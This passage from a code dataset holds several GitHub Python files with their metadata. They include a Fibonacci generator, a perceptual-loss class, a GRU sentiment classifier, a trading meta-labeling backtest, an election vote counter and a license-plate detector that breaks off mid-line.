print(i)\n#期望输出十个数但是实际情况仅仅输出8个\n\n#斐波那契数列\ndef fib(max):\n n, a, b = 0, 0, 1\n while n < max:\n print(b)\n a, b = b, a + b\n n = n + 1\n return 'done'\n\nprint(fib(6))\n\n# 将斐波那契数列改为生成器的形式 \ndef fib_1(max):\n n, a, b = 0, 0, 1\n while n < max:\n yield b\n a, b = b, a + b \n n = n + 1\n return 'done'\n\nf = fib_1(6)\nprint(f)\n\n# 无法捕获函数的返回值\nfor n in fib_1(6):\n print(n)\n\n# 捕获函数的返回值\ng = fib_1(6)\nwhile True:\n try:\n x = next(g)\n print('g:', x)\n except StopIteration as e:\n print('Generator return value:', e.value)\n break\n","repo_name":"vigoroushui/python_lsy","sub_path":"5.advance_features/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1463172373","text":"# Shree KRISHNAya Namaha\n# L1 Loss in VGG feature space\n# Author: Nagabhushan S N\n# Last Modified: 31/10/2021\n\nimport time\nimport datetime\nimport traceback\nimport numpy\nimport skimage.io\nimport skvideo.io\nimport pandas\n\nfrom pathlib import Path\n\nimport torchvision\nfrom tqdm import tqdm\nfrom matplotlib import pyplot\nimport torch\nimport torch.nn.functional as F\n\nfrom loss_functions.LossFunctionParent01 import LossFunctionParent\nfrom utils import CommonUtils\n\n\nclass PerceptualLoss(LossFunctionParent):\n def __init__(self, configs: dict, loss_configs: dict):\n self.configs = configs\n self.loss_configs = loss_configs\n self.beta = loss_configs['beta']\n self.perceptual_loss_weight = loss_configs['perceptual_loss_weight']\n self.style_loss_weight = loss_configs['style_loss_weight']\n\n self.vgg_features = torchvision.models.vgg16(pretrained=True).features\n self.vgg_features.eval()\n self.vgg_features.requires_grad_(False)\n self.mean = torch.nn.Parameter(torch.tensor([0.485, 0.456, 0.406]).view(1, 3, 1, 1))\n self.std = torch.nn.Parameter(torch.tensor([0.229, 0.224, 0.225]).view(1, 3, 1, 1))\n self.normalizer = torchvision.transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n self.device = CommonUtils.get_device(configs['device'])\n self.vgg_features.to(self.device)\n return\n\n def compute_loss(self, input_dict: dict, output_dict: dict):\n target_frame = input_dict['target_frame']\n predicted_frame = output_dict['predicted_frame']\n occlusion_map = output_dict['occlusion_map']\n\n target_frame_unit_range = (target_frame + 1) / 2\n pred_frame_unit_range = (predicted_frame + 1) / 2\n target_frame_norm = self.normalizer(target_frame_unit_range)\n pred_frame_norm = self.normalizer(pred_frame_unit_range)\n target_frame_features = self.vgg_features(target_frame_norm)\n predicted_frame_features = self.vgg_features(pred_frame_norm)\n\n known_perceptual_loss = self.compute_perceptual_loss(target_frame_features, predicted_frame_features, occlusion_map)\n unknown_perceptual_loss = self.compute_perceptual_loss(target_frame_features, predicted_frame_features, 1 - occlusion_map)\n perceptual_loss = known_perceptual_loss + self.beta * unknown_perceptual_loss\n return perceptual_loss\n\n @staticmethod\n def compute_perceptual_loss(target_frame_features: torch.Tensor, predicted_frame_features: torch.Tensor,\n mask: torch.Tensor):\n feature_error = target_frame_features - predicted_frame_features\n\n b, _, h, w = target_frame_features.shape\n resized_mask = F.interpolate(mask, size=(h, w), mode='nearest')\n masked_feature_error = resized_mask * feature_error\n\n perceptual_loss = torch.mean(torch.abs(masked_feature_error))\n return perceptual_loss\n","repo_name":"NagabhushanSN95/DPG-Video-Prediction","sub_path":"src/loss_functions/PerceptualLoss01.py","file_name":"PerceptualLoss01.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24408506448","text":"# Faça um programa que tenha uma função chamada área(), \n# que receba as dimensões de um terreno retangular (largura e comprimento) e mostre a área do terreno.\n\ndef area(lar, comp):\n result = lar*comp\n print(f'A área de um terreno {lar}X{comp} é de {result}m quadrados')\n\n\nlargura = float(input(\"Largura(m): \"))\ncomprimento = float(input(\"Comprimento(m): \"))\n\narea(largura, comprimento)\n","repo_name":"igorgabrig/AprendizadoPython---curso-em-video","sub_path":"Mundo03/desafios/Desafios Funcao/desafio96.py","file_name":"desafio96.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3468820147","text":"import nltk\nimport os\nnltk.download('punkt')\nimport numpy as np\nfrom natsort import natsorted, ns\nimport sklearn\nfrom sklearn.metrics import accuracy_score\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import Model\n\nfrom keras.layers import Input, Dense, Embedding\nfrom keras.layers import SpatialDropout1D, concatenate\nfrom keras.layers import GRU, Bidirectional, GlobalAveragePooling1D, GlobalMaxPooling1D\nfrom keras.utils import to_categorical\n\nimport tensorflow\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.models import load_model\nimport pandas as pd\npd.options.mode.chained_assignment = None\n\nMAX_NB_WORDS = 80000\n\n\ndef load_corpus():\n features_sets = []\n maxlength = 0\n with open(\"./data/train.txt\", encoding = \"ISO-8859-1\") as f:\n next(f)\n for line in f:\n tokens = nltk.word_tokenize(line, 'english')\n sentences = tokens[1:len(tokens)-2]\n if len(sentences) > maxlength:\n maxlength = len(sentences)\n label = tokens[len(tokens)-1]\n features_sets.append((sentences, getIntLabel(label)))\n return features_sets, maxlength\n\ndef getIntLabel(label):\n array = [\"angry\",\"sad\",\"happy\",\"others\"]\n return array.index(label)\n\ndef create_rnn(maxlength):\n embedding_dim = 300\n embedding_matrix = np.random.random((MAX_NB_WORDS, embedding_dim))\n\n inp = Input(shape=(maxlength,))\n x = Embedding(input_dim=MAX_NB_WORDS, output_dim=embedding_dim, input_length=maxlength,\n weights=[embedding_matrix], trainable=True)(inp)\n x = SpatialDropout1D(0.3)(x)\n x = Bidirectional(GRU(100, return_sequences=True))(x)\n avg_pool = GlobalAveragePooling1D()(x)\n max_pool = GlobalMaxPooling1D()(x)\n conc = concatenate([avg_pool, max_pool])\n outp = Dense(4, activation=\"softmax\")(conc)\n\n model = Model(inputs=inp, outputs=outp)\n model.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n return model\n\ndef getBestModel():\n files = os.listdir(\"./models/rnn/\")\n new_order = natsorted(files, alg=ns.IGNORECASE)\n return new_order[len(new_order)-1]\n\ndef choiseHighest(probabilities):\n for line in probabilities:\n indexOfHighest = 0;\n valueOfHighest = 0;\n for i in range(len(line)):\n if line[i] > valueOfHighest:\n indexOfHighest = i\n valueOfHighest = line[i]\n for i in range(len(line)):\n if i == indexOfHighest:\n line[i] = 1\n else:\n line[i] = 0\n return probabilities\n\n\n\ndef main():\n features_sets, maxlength = load_corpus()\n token, label = zip(*features_sets)\n label = to_categorical(label)\n x_train_set, x_test_set, y_train_set, y_test_set = sklearn.model_selection.train_test_split(token,label,test_size=0.2,random_state=42)\n\n tokenizer = Tokenizer(num_words=MAX_NB_WORDS,lower=True)\n tokenizer.fit_on_texts(token)\n\n padded_train_sequences = pad_sequences(tokenizer.texts_to_sequences(x_train_set), maxlen= maxlength)\n padded_test_sequences = pad_sequences(tokenizer.texts_to_sequences(x_test_set), maxlen= maxlength)\n\n rnn_gru_model = create_rnn(maxlength)\n\n batch_size = 256\n epochs = 30\n\n filepath = \"./models/rnn/weights-improvement-{val_acc:.4f}-{epoch:02d}.hdf5\"\n checkpoint = ModelCheckpoint(filepath, monitor='val_acc', verbose=1, save_best_only=True, mode='max')\n\n history = rnn_gru_model.fit(x=padded_train_sequences,\n y=y_train_set,\n validation_data=(padded_test_sequences, y_test_set),\n batch_size=batch_size,\n callbacks=[checkpoint],\n epochs=epochs,\n verbose=1)\n\n best_rnn_simple_model = load_model('./models/rnn/'+getBestModel())\n\n y_pred_rnn_simple = best_rnn_simple_model.predict(padded_test_sequences, verbose=1, batch_size=2048)\n y_pred_rnn_simple = choiseHighest(y_pred_rnn_simple)\n y_pred_rnn_simple = pd.DataFrame(y_pred_rnn_simple, columns=[\"angry\",\"sad\",\"happy\",\"others\"])\n y_pred_rnn_simple.to_csv('./predictions/y_pred_rnn_simple.csv', index=False)\n\n y_pred_rnn_simple = pd.read_csv('./predictions/y_pred_rnn_simple.csv')\n print(accuracy_score(y_test_set, y_pred_rnn_simple))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Niamitch/tjosebp3","sub_path":"senti-classifier-gru.py","file_name":"senti-classifier-gru.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28279537672","text":"class Computador:\n def __init__(self, modelo, fabricante, processador, ram, hd_total, hd_ocupado):\n self.modelo = modelo\n self.fabricante = fabricante\n self.processador = processador\n self.ram = ram\n self.hd_total = hd_total\n self.hd_ocupado = hd_ocupado\n self.ligado = False\n\n def ligar(self):\n self.ligado = True\n print(\"O computador foi ligado.\")\n\n def desligar(self):\n self.ligado = False\n print(\"O computador foi desligado.\")\n\n def limparHD(self, espaco_liberado):\n novo_hd_ocupado = self.hd_ocupado - espaco_liberado\n if (novo_hd_ocupado > 0) and (novo_hd_ocupado <= self.hd_total):\n self.hd_ocupado = novo_hd_ocupado\n print(f\"Operação realizada com sucesso.\\n\"\n f\"HD: {self.hd_ocupado}/{self.hd_total}\")\n else:\n print(f\"Erro na operação. O espaço total ocupado deve ser no mínimo 0.\\n\"\n f\"HD: {self.hd_ocupado}/{self.hd_total}\")\n\n def ocuparHD(self, espaco_ocupado):\n novo_hd_ocupado = self.hd_ocupado + espaco_ocupado\n if (novo_hd_ocupado > 0) and (novo_hd_ocupado <= self.hd_total):\n self.hd_ocupado = novo_hd_ocupado\n print(f\"Operação realizada com sucesso.\\n\"\n f\"HD: {self.hd_ocupado}/{self.hd_total}\")\n else:\n print(\n f\"Erro na operação. Você está tentando ocupar mais espaço que o total suportado pelo HD.\\n\"\n f\"HD: {self.hd_ocupado}/{self.hd_total}\")\n\n\n# MAIN---------------------------------------------\nprint(f\"{' Criação de novo computador ':-^30}\")\nmodelo = input(\"Digite o modelo do computador: \")\nfabricante = input(\"Digite o nome do fabricante: \")\nprocessador = input(\"Digite as informações do processador: \")\nram = float(input(\"Digite o a cacidade da ram, em gigabytes: \"))\nhd_total = float(input(\"Digite a capacidade total do HD, em gigabytes: \"))\nhd_ocupado = float(input(\"Digite a quanidade ocupada do HD, em gigabytes: \"))\n\nnovo_computador = Computador(modelo,\n fabricante, processador, ram, hd_total, hd_ocupado)\n\nnovo_computador.ligar()\nwhile True:\n print(f\"{' Menu de Operações ':=^50}\")\n print(f\"[1] Ocupar HD.\\n\"\n f\"[2] Liberar HD\\n\"\n f\"[3] Desligar Computador.\\n\")\n opcao = int(input(\"Digite o número da operação desejada: \"))\n print(f\"{'':=^50}\")\n if opcao == 3:\n novo_computador.desligar()\n break\n elif opcao == 1:\n espaco_ocupado = int(\n input(\"Digite a quantidade a ser ocupada no HD, em gigabytes: \"))\n novo_computador.ocuparHD(espaco_ocupado)\n elif opcao == 2:\n espaco_liberado = int(\n input(\"Digite a quantidade a ser liberada no HD, em gigabytes: \"))\n novo_computador.limparHD(espaco_liberado)\n","repo_name":"iagoFacannha/exercicios-infinity","sub_path":"pt_a10.py","file_name":"pt_a10.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14750709906","text":"import numpy as np\n\n\ndef find_asteroids(terrain):\n return [(int(x), int(y)) for x, y in zip(*np.nonzero(terrain == '#'))]\n\n\ndef shine_laser_clockwise(terrain, base):\n height, width = terrain.shape\n xv, yv = np.meshgrid(range(height), range(width), indexing='ij')\n x0, y0 = base\n distances = np.sqrt((xv-x0)**2+(yv-y0)**2)\n angles = np.arctan2(-(xv-x0), -(yv-y0))-np.pi/2\n angles = np.mod(angles, 2*np.pi)\n\n for angle in np.unique(angles.flatten()):\n ray_mask = angles == angle\n ray_coords = []\n for distance in np.sort(distances[ray_mask].flatten()):\n x, y = np.nonzero((ray_mask) & (distances == distance))\n if (x, y) != base:\n ray_coords.append((x, y))\n yield ray_coords\n\n\nterrain = [list(line.strip()) for line in open('input.txt').readlines()]\nterrain = np.array(terrain)\n\n\n# part 1\ndef count_line_of_sight(terrain, base):\n in_line_of_sight = 0\n for ray_coords in shine_laser_clockwise(terrain, base):\n in_line_of_sight += any(terrain[x, y] == '#' for x, y in ray_coords)\n return in_line_of_sight\n\n\nasteroids = find_asteroids(terrain)\nbest_astroid = max(asteroids, key=lambda a: count_line_of_sight(terrain, a))\nprint(count_line_of_sight(terrain, best_astroid))\n\n\n# part 2\ndef shoot_laser(terrain, base, max=None):\n shot_asteroids = []\n terrain = np.copy(terrain)\n terrain[base] == 'B'\n while find_asteroids(terrain):\n for ray_coords in shine_laser_clockwise(terrain, base):\n asteroids_in_ray = [coord for coord in ray_coords if\n terrain[coord] == '#']\n if asteroids_in_ray:\n closest_asteroid = asteroids_in_ray[0]\n terrain[closest_asteroid] = '.'\n print(f'destroyed {closest_asteroid}')\n shot_asteroids.append(closest_asteroid)\n if max and len(shot_asteroids) >= max:\n return shot_asteroids\n return shot_asteroids\n\n\ndestroyed = shoot_laser(terrain, best_astroid, 200)\nprint(destroyed[200-1])\n","repo_name":"UpGado/advent-of-code","sub_path":"day10/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42667462569","text":"import datetime as dt\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import StandardScaler\nfrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf\n\nfrom sklearn.metrics import log_loss\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report, roc_curve, confusion_matrix, RocCurveDisplay, ConfusionMatrixDisplay, roc_auc_score, PrecisionRecallDisplay, precision_recall_curve\nfrom scipy.stats import norm\nfrom statsmodels.distributions.empirical_distribution import ECDF\nimport quantstats as qs\n\nfrom meta_labeling.data_generation import single_regime, dual_regime, prep_data\n\nimport matplotlib.pyplot as plt\n\n\nfor z in range(0, 1000, 1):\n # --- Data Prep ---\n # -----------------------------------------------------------------------------------------------\n # Constants\n steps = 10000\n prob_switch = 0.20\n stdev = 0.014543365294448746 # About the same as IBM stdev\n\n # Create dual data set\n data = dual_regime(total_steps=steps, prob_switch=prob_switch, stdev=stdev)\n\n # Prep data, add primary model, get meta_labels\n model_data, data = prep_data(data=data, with_flags=True)\n\n # --- Modeling ---\n # -----------------------------------------------------------------------------------------------\n # Train test split\n train, test = train_test_split(model_data, test_size=0.4, shuffle=False)\n\n X_train_info = train[['rets', 'rets2', 'rets3']]\n X_test_info = test[['rets', 'rets2', 'rets3']]\n\n X_train_regime = train[['rets', 'rets2', 'rets3', 'regime']]\n X_test_regime = test[['rets', 'rets2', 'rets3', 'regime']]\n\n y_train = train['target']\n y_test = test['target']\n\n # Add standardScalar as a best practice although in this setting its not really needed.\n # Logistic regression is a convex optimisation problem and the global minima is always found.\n scaler = StandardScaler()\n X_train_info_scaled = scaler.fit_transform(X_train_info)\n X_train_regime_scaled = scaler.fit_transform(X_train_regime)\n # Test data\n X_test_info_scaled = scaler.transform(X_test_info)\n X_test_regime_scaled = scaler.transform(X_test_regime)\n\n # Train 2 models (Info, FP)\n meta_model_info = LogisticRegression(random_state=0, penalty='none')\n meta_model_regime = LogisticRegression(random_state=0, penalty='none')\n meta_model_info.fit(X_train_info_scaled, y_train)\n meta_model_regime.fit(X_train_regime_scaled, y_train)\n\n # Predict Info and FP\n train_pred_info = meta_model_info.predict(X_train_info_scaled)\n train_pred_regime = meta_model_regime.predict(X_train_regime_scaled)\n # Predictions\n train['pred_info'] = train_pred_info\n train['pred_regime'] = train_pred_regime\n # Probabilities\n train['prob_info'] = meta_model_info.predict_proba(X_train_info_scaled)[:, 1]\n train['prob_regime'] = meta_model_regime.predict_proba(X_train_regime_scaled)[:, 1]\n\n # --- Prep Strategy Data ---\n # -----------------------------------------------------------------------------------------------\n # Save forecasts to original data\n # Set new columns\n data['pred_info'] = 0\n data['prob_info'] = 0\n data['pred_regime'] = 0\n data['prob_regime'] = 0\n # Assign column values\n data.loc[train.index, 'pred_info'] = train['pred_info']\n data.loc[train.index, 'prob_info'] = train['prob_info']\n data.loc[train.index, 'pred_regime'] = train['pred_regime']\n data.loc[train.index, 'prob_regime'] = train['prob_regime']\n\n # --- Training Performance ---\n # Subset train data\n data_train_set = data.loc[train.index[0]:train.index[-1]]\n\n # Create returns for 2 meta models\n meta_rets_info = (data_train_set['pred_info'] * data_train_set['target_rets']).shift(1)\n data_train_set['meta_rets_info'] = meta_rets_info\n meta_rets_regime = (data_train_set['pred_regime'] * data_train_set['target_rets']).shift(1)\n data_train_set['meta_rets_regime'] = meta_rets_regime\n data_train_set.dropna(inplace=True)\n # Train Cumrets\n train_cumrets = pd.DataFrame({'meta_info': ((data_train_set['meta_rets_info'] + 1).cumprod()),\n 'meta_regime': ((data_train_set['meta_rets_regime'] + 1).cumprod()),\n 'primary': ((data_train_set['prets'] + 1).cumprod()),\n 'BAH': ((data_train_set['rets'] + 1).cumprod())})\n\n # --- Test Performance ---\n test['pred_info'] = meta_model_info.predict(X_test_info_scaled)\n test['prob_info'] = meta_model_info.predict_proba(X_test_info_scaled)[:, 1]\n test['pred_regime'] = meta_model_regime.predict(X_test_regime_scaled)\n test['prob_regime'] = meta_model_regime.predict_proba(X_test_regime_scaled)[:, 1]\n\n # Add test data to larger data df\n data.loc[test.index, 'pred_info'] = test['pred_info']\n data.loc[test.index, 'prob_info'] = test['prob_info']\n data.loc[test.index, 'pred_regime'] = test['pred_regime']\n data.loc[test.index, 'prob_regime'] = test['prob_regime']\n\n data_test_set = data.loc[test.index[0]:test.index[-1]]\n\n # Create returns for meta model\n meta_rets_info = (data_test_set['pred_info'] * data_test_set['target_rets']).shift(1)\n data_test_set['meta_rets_info'] = meta_rets_info\n meta_rets_regime = (data_test_set['pred_regime'] * data_test_set['target_rets']).shift(1)\n data_test_set['meta_rets_regime'] = meta_rets_regime\n data_test_set.dropna(inplace=True)\n # Test Cumrets\n test_cumrets = pd.DataFrame({'meta_info': ((data_test_set['meta_rets_info'] + 1).cumprod()),\n 'meta_regime': ((data_test_set['meta_rets_regime'] + 1).cumprod()),\n 'primary': ((data_test_set['prets'] + 1).cumprod()),\n 'BAH': ((data_test_set['rets'] + 1).cumprod())})\n # --- Bet Sizing ---\n # -----------------------------------------------------------------------------------------------\n # 1) Generate signals from multinomial classification (one-vs-rest)\n prob_train = data_train_set.loc[data_train_set['pred_regime'] == 1, 'prob_regime']\n prob_test = data_test_set.loc[data_test_set['pred_regime'] == 1, 'prob_regime']\n\n # ECDF Position Sizing\n ecdf = ECDF(prob_train)\n e_bet_sizes = prob_test.apply(lambda x: ecdf(x))\n # Assign position sizes\n data_test_set['e_bet_size'] = 0\n data_test_set.loc[data_test_set['pred_regime'] == 1, 'e_bet_size'] = e_bet_sizes\n # Get daily rets\n data_test_set['bets_e_rets'] = (data_test_set['e_bet_size'] * data_test_set['target_rets']).shift(1)\n data_test_set.dropna(inplace=True)\n\n # --- Statistics ---\n # -----------------------------------------------------------------------------------------------\n test_cumrets = pd.DataFrame({'e_bet_size': ((data_test_set['bets_e_rets'] + 1).cumprod()),\n 'meta_info': ((data_test_set['meta_rets_info'] + 1).cumprod()),\n 'meta_regime': ((data_test_set['meta_rets_regime'] + 1).cumprod()),\n 'primary': ((data_test_set['prets'] + 1).cumprod()),\n 'BAH': ((data_test_set['rets'] + 1).cumprod())})\n\n tc = {'e_bet_size': data_test_set['bets_e_rets'].mean() / data_test_set['bets_e_rets'].std() * np.sqrt(252),\n 'BAH': data_test_set['rets'].mean() / data_test_set['rets'].std() * np.sqrt(252),\n 'meta_info': data_test_set['meta_rets_info'].mean() / data_test_set['meta_rets_info'].std() * np.sqrt(252),\n 'meta_regime': data_test_set['meta_rets_regime'].mean() / data_test_set['meta_rets_regime'].std() * np.sqrt(252),\n 'primary': data_test_set['prets'].mean() / data_test_set['prets'].std() * np.sqrt(252),\n }\n\n sr = {'sr_e': data_test_set['bets_e_rets'].mean() / data_test_set['bets_e_rets'].std() * np.sqrt(252),\n 'sr_BAH': data_test_set['rets'].mean() / data_test_set['rets'].std() * np.sqrt(252),\n 'sr_mi': data_test_set['meta_rets_info'].mean() / data_test_set['meta_rets_info'].std() * np.sqrt(252),\n 'sr_mf': data_test_set['meta_rets_regime'].mean() / data_test_set['meta_rets_regime'].std() * np.sqrt(252),\n 'sr_primary': data_test_set['prets'].mean() / data_test_set['prets'].std() * np.sqrt(252),\n }\n m = {'mean_e': (1 + data_test_set['bets_e_rets'].mean()) ** 252 - 1,\n 'mean_BAH': (1 + data_test_set['rets'].mean()) ** 252 - 1,\n 'mean_mi': (1 + data_test_set['meta_rets_info'].mean()) ** 252 - 1,\n 'mean_mf': (1 + data_test_set['meta_rets_regime'].mean()) ** 252 - 1,\n 'mean_primary': (1 + data_test_set['prets'].mean()) ** 252 - 1,\n }\n\n s = {'std_e': data_test_set['bets_e_rets'].std() * np.sqrt(252),\n 'std_BAH': data_test_set['rets'].std() * np.sqrt(252),\n 'std_mi': data_test_set['meta_rets_info'].std() * np.sqrt(252),\n 'std_mf': data_test_set['meta_rets_regime'].std() * np.sqrt(252),\n 'std_primary': data_test_set['prets'].std() * np.sqrt(252),\n }\n\n # Compute Max DDs\n mdds = qs.stats.max_drawdown(test_cumrets)\n # Check for negative values (MDDs) and correct\n for ind, val in mdds.iteritems():\n if val == 0.0:\n md = -(1 - test_cumrets[ind][-1])\n mdds[ind] = md\n mdds = mdds.to_dict()\n\n final = {**sr, **m, **s, **mdds}\n final_row = pd.DataFrame(final.values(), index=final.keys()).T\n\n # --- Save Report ---\n # -----------------------------------------------------------------------------------------------\n # Save results to csv\n # final_row.to_csv('hyp3.csv')\n\n data = pd.read_csv('hyp3.csv', index_col=0)\n concat = pd.concat([data, final_row]).reset_index(drop=True)\n concat.to_csv('hyp3.csv')\n print(z)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"hudson-and-thames/meta-labeling","sub_path":"theory_and_framework/bet_sizing.py","file_name":"bet_sizing.py","file_ext":"py","file_size_in_byte":9872,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"31"} +{"seq_id":"41321023506","text":"import os\nimport csv\n\n# reads the csv file election_data and gets the results from the data \ncsvpath = os.path.join('Resources', 'election_data.csv')\n\nwith open(csvpath, 'r', newline='') as csvfile:\n\n\tcsvreader = csv.reader(csvfile, delimiter=',')\n\n\tcsv_header = next(csvreader)\n\n\t# initialize variables\n\ttotalVotes = 0\n\tcandidate1_votes = 0\n\tcandidate2_votes = 0\n\tcandidate3_votes = 0\n\twinning_candidate = ''\n\n\t# tallies the votes for the candidates\n\tfor line in csvreader:\n\t\ttotalVotes += 1\n\n\t\tif str(line[2]) == \"Charles Casper Stockham\":\n\t\t\tcandidate1_votes += 1\n\t\t\n\t\tif str(line[2]) == \"Diana DeGette\":\n\t\t\tcandidate2_votes += 1\n\n\t\tif str(line[2]) == \"Raymon Anthony Doane\":\n\t\t\tcandidate3_votes += 1\n\n\t# determines the winner of the election based on which candidate has the most votes\n\tif candidate1_votes > candidate2_votes and candidate1_votes > candidate3_votes:\n\t\twinning_candidate = \"Charles Casper Stockham\"\n\telif candidate2_votes > candidate1_votes and candidate2_votes > candidate3_votes:\n\t\twinning_candidate = \"Diana DeGette\"\n\telse:\n\t\twinning_candidate = \"Raymon Anthony Doane\"\n\n\t# prints out the election results to the terminal\n\tprint('Election Results')\n\tprint('-------------------------')\n\tprint(f'Total Votes: {totalVotes}')\n\tprint('-------------------------')\n\tprint(f'Charles Casper Stockham: {round((candidate1_votes/totalVotes)*100, 3)}% ({candidate1_votes})')\n\tprint(f'Diana DeGette: {round((candidate2_votes/totalVotes)*100, 3)}% ({candidate2_votes})')\n\tprint(f'Raymon Anthony Doane: {round((candidate3_votes/totalVotes)*100, 3)}% ({candidate3_votes})')\n\tprint('-------------------------')\n\tprint(f'Winner: {winning_candidate}')\n\tprint('-------------------------')\n\n# writes the election results to a txt file\noutput_path = os.path.join(\"Analysis\", \"Module 3 PyPoll Analysis.txt\")\n\nwith open(output_path, 'w') as file:\n\tfile.write('Election Results' + '\\n')\n\tfile.write('-------------------------\\n')\n\tfile.write(f'Total Votes: {totalVotes}\\n')\n\tfile.write('-------------------------' + '\\n')\n\tfile.write(f'Charles Casper Stockham: {round((candidate1_votes/totalVotes)*100, 3)}% ({candidate1_votes})\\n')\n\tfile.write(f'Diana DeGette: {round((candidate2_votes/totalVotes)*100, 3)}% ({candidate2_votes})\\n')\n\tfile.write(f'Raymon Anthony Doane: {round((candidate3_votes/totalVotes)*100, 3)}% ({candidate3_votes})\\n')\n\tfile.write('-------------------------' + '\\n')\n\tfile.write(f'Winner: {winning_candidate}\\n')\n\tfile.write('-------------------------' + '\\n')\n","repo_name":"paulbrichta/python-challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18289579668","text":"#program 11 of DAY 6\n\nimport random\nlength = int(input('enter the size of list : '))\n\nlst = []\nfor i in range(length):\n lst.append(random.randint(0,10))\n\nprint('\\nThe list of elements is {}'.format(lst))\n\nlst2 = sorted(lst)\n\nsum = lst2[-1] * lst2[-2] * lst2[-3]\n\nprint(sum)\n","repo_name":"nikhilgang/tathastu_week_of_code","sub_path":"DAY6/program 11.py","file_name":"program 11.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"41524191140","text":"import cv2\nimport numpy as np\nimport math\nimport random\n\n# import PlateRecognition\nimport Preprocess\nimport DetectChars\n\nPLATE_WIDTH_PADDING_FACTOR = 1.3\nPLATE_HEIGHT_PADDING_FACTOR = 1.5\n\nclass PossiblePlate:\n def __init__(self):\n self.imgPlate = None\n self.imgGrayscale = None\n self.imgThresh = None\n\n self.rrLocationOfPlateInScene = None\n\n self.strChars = \"\"\n\ndef DetectPlates(input, showSteps):\n listOfPossiblePlates = []\n height, width, numChannels = input.shape\n\n # imgGrayscale = np.zeros((height, width, 1), np.uint8)\n # imgThresh = np.zeros((height, width, 1), np.uint8)\n imgContours = np.zeros((height, width, 3), np.uint8)\n\n imgGrayscale, imgThresh = Preprocess.Preprocess(input, showSteps)\n\n listOfPossibleChars = findPossibleChars(imgThresh)\n\n print(\"\\n\" + str(len(listOfPossibleChars)) + \" possible chars found\")\n\n listOfMatchingChars = DetectChars.findListOfListsOfMatchingChars(listOfPossibleChars)\n # print(listOfMatchingChars)\n\n for listOfMatchingChars in listOfMatchingChars:\n possiblePlate = extractPlate(input, listOfMatchingChars)\n\n if possiblePlate.imgPlate is not None:\n p2fRectPoints = cv2.boxPoints(possiblePlate.rrLocationOfPlateInScene)\n w = (abs(p2fRectPoints[3][1] - p2fRectPoints[0][1]) + abs(p2fRectPoints[2][1] - p2fRectPoints[1][1])) / 2\n h = (abs(p2fRectPoints[0][0] - p2fRectPoints[1][0]) + abs(p2fRectPoints[3][0] - p2fRectPoints[2][0])) / 2\n if h == 0:\n continue\n aspect_ratio = float(w) / h\n if aspect_ratio > 1.6 and aspect_ratio < 4.5:\n listOfPossiblePlates.append(possiblePlate)\n\n print(\"\\n\" + str(len(listOfPossiblePlates)) + \" possible plates found\")\n return listOfPossiblePlates\n\n\ndef findPossibleChars(imgThresh):\n listOfPossibleChars = []\n imgThreshCopy = imgThresh.copy()\n\n contours, hierarchy = cv2.findContours(imgThreshCopy, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n\n for item in contours:\n possibleChar = DetectChars.PossibleChar(item)\n if DetectChars.checkIfPossibleChar(possibleChar):\n listOfPossibleChars.append(possibleChar)\n\n return listOfPossibleChars\n\ndef extractPlate(imgOriginal, listOfMatchingChars):\n possiblePlate = PossiblePlate()\n\n listOfMatchingChars.sort(key = lambda matchingChar: matchingChar.intCenterX)\n fltPlateCenterX = (listOfMatchingChars[0].intCenterX + listOfMatchingChars[len(listOfMatchingChars) - 1].intCenterX) / 2.0\n fltPlateCenterY = (listOfMatchingChars[0].intCenterY + listOfMatchingChars[len(listOfMatchingChars) - 1].intCenterY) / 2.0\n\n ptPlateCenter = fltPlateCenterX, fltPlateCenterY\n\n intPlateWidth = int((listOfMatchingChars[len(listOfMatchingChars) - 1].intBoundingRectX + \n listOfMatchingChars[len(listOfMatchingChars) - 1].intBoundingRectWidth - \n listOfMatchingChars[0].intBoundingRectX) * PLATE_WIDTH_PADDING_FACTOR)\n\n intTotalOfCharHeights = 0\n\n for matchingChar in listOfMatchingChars:\n intTotalOfCharHeights = intTotalOfCharHeights + matchingChar.intBoundingRectHeight\n\n fltAverageCharHeight = intTotalOfCharHeights / len(listOfMatchingChars)\n\n intPlateHeight = int(fltAverageCharHeight * PLATE_HEIGHT_PADDING_FACTOR)\n\n fltOpposite = listOfMatchingChars[len(listOfMatchingChars) - 1].intCenterY - listOfMatchingChars[0].intCenterY\n fltHypotenuse = DetectChars.distanceBetweenChars(listOfMatchingChars[0], listOfMatchingChars[len(listOfMatchingChars) - 1])\n fltCorrectionAngleInRad = math.asin(fltOpposite / fltHypotenuse)\n fltCorrectionAngleInDeg = 